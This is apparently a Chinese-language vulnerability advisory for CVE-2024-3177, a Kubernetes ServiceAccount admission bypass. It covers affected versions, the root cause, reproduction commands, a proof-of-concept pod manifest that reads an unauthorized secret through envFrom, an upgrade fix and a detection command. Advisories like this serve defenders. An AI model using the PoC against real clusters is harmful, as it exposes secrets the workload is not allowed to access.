一、漏洞简介

1.1 漏洞背景

ServiceAccount 准入插件可以强制执行挂载密钥策略,确保使用特定 ServiceAccount 的 Pod 只能引用该 ServiceAccount secrets 字段中指定的密钥。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2024-3177
危害等级 LOW / 2.7
漏洞类型 ServiceAccount密钥策略绕过
披露时间 2024-04-22
影响组件 Kubernetes
  • CVE编号: CVE-2024-3177
  • 危害等级: 低危 (Low)
  • CVSS评分: 2.7
  • CVSS向量: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
  • 漏洞类型: 策略绕过
  • 发现者: tha3e1vl

补充核验信息:公开时间:2024-04-22;NVD 评分:2.7(LOW);CWE:CWE-20。

二、影响范围

2.1 受影响的版本

  • kube-apiserver v1.29.0 - v1.29.3
  • kube-apiserver v1.28.0 - v1.28.8
  • kube-apiserver <= v1.27.12

2.2 不受影响的版本

  • kube-apiserver v1.29.4+
  • kube-apiserver v1.28.9+
  • kube-apiserver v1.27.13+

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

所有以下条件必须同时满足: 1. 启用 ServiceAccount 准入插件(默认启用) 2. ServiceAccount 使用 kubernetes.io/enforce-mountable-secrets 注解 3. Pod 使用 envFrom 字段的容器、init容器或临时容器

三、漏洞详情与原理解析

3.1 漏洞触发机制

ServiceAccount 准入插件在验证 Pod 是否可以访问特定 Secret 时,未正确检查 envFrom 字段。攻击者可以通过 envFrom 引用未授权的 Secret。

3.2 源码层面的根因分析(结合源码与补丁对比)

问题位于 ServiceAccount 准入插件:

// plugin/pkg/admission/serviceaccount/admission.go
func (s *serviceAccount) Admit(...) {
    // 验证 volumes 中的 secrets
    // 验证 env 中的 secrets
    // 遗漏了 envFrom 字段的验证!
}

修复补丁在 envFrom 验证逻辑中添加了对 Secret 引用的检查。

四、漏洞复现(可选)

4.1 环境搭建

# 创建受限 ServiceAccount
kubectl create serviceaccount restricted-sa

# 添加密钥策略注解
kubectl annotate serviceaccount restricted-sa \
  kubernetes.io/enforce-mountable-secrets=true

# 创建允许访问的 Secret
kubectl create secret generic allowed-secret --from-literal=key=allowed

# 创建不应访问的 Secret
kubectl create secret generic restricted-secret --from-literal=key=restricted

4.2 PoC 演示与测试过程

apiVersion: v1
kind: Pod
metadata:
  name: bypass-pod
spec:
  serviceAccountName: restricted-sa
  containers:
  - name: test
    image: busybox
    command: ["sleep", "3600"]
    envFrom:
    - secretRef:
        name: restricted-secret  # 通过 envFrom 绕过限制

五、修复建议与缓解措施

5.1 官方版本升级建议

升级 kube-apiserver 到修复版本。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

除升级外无已知临时缓解措施。

检测命令

# 查找使用 enforce-mountable-secrets 的 ServiceAccount
kubectl get serviceaccounts --all-namespaces -o jsonpath="{range .items[?(@.metadata.annotations['kubernetes\\.io/enforce-mountable-secrets']=='true')]}{.metadata.namespace}{'\t'}{.metadata.name}{'\n'}{end}"

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/kubernetes/kubernetes/issues/124336
  • https://github.com/kubernetes/kubernetes/pull/124322

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2024-3177
  • CVE:https://www.cve.org/CVERecord?id=CVE-2024-3177
  • http://www.openwall.com/lists/oss-security/2024/04/16/4
  • https://github.com/kubernetes/kubernetes/issues/124336
  • https://groups.google.com/g/kubernetes-security-announce/c/JxjHf7fkVd8/m/oVCzypyOAQAJ
  • https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRYFHIQ6XRKRYBI2F5UESH67BJBQXUPT/
  • https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WL54MTLGMTBZZO5PYGEGEBERTMADC4WC/
  • https://github.com/kubernetes/kubernetes/pull/124322